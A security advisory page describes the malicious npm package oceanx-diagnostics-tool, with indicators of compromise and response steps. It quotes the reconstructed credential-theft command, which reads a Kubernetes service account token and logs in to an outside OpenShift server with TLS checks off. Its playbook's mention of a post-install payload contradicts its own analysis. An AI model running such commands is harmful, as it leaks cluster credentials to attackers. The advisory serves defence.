NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

oceanx-diagnostics-toolnpm

Advisory published Updated

oceanx-diagnostics-tool is a confirmed malicious npm package (MAL-2026-21083) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.1, 0.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in oceanx-diagnostics-tool (npm)

MAL-2026-21083
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall oceanx-diagnostics-tool

What this malware does

The package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to eval to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run ./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared main: index.js is absent from the tarball, so the payload does not auto-execute on npm install or require(); it runs only when the shipped tester.sh is explicitly invoked (for example via the scripts.send entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it.

Malicious versions

2 flagged
0.0.10.0.2

Indicators of compromise (SHA-256)

06e3c99eae8f56e1f565ba75118abc8f5d5303e063fca9c3a15dd2d7fa1493ff
645296b4d471f282eba9d99439ff378841ed403a0845235f9fb93cdb9537a10f

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for oceanx-diagnostics-tool (2 malicious versions).

  2. If you installed it — respond

    oceanx-diagnostics-tool is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If oceanx-diagnostics-tool was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. oceanx-diagnostics-tool on npm has been identified as a malicious package (versions 0.0.1, 0.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-023223IN-MAL-2026-023224

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks oceanx-diagnostics-tool-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

oceanx-diagnostics-tool (npm) malicious package — MAL-2026-21083 | O3 Security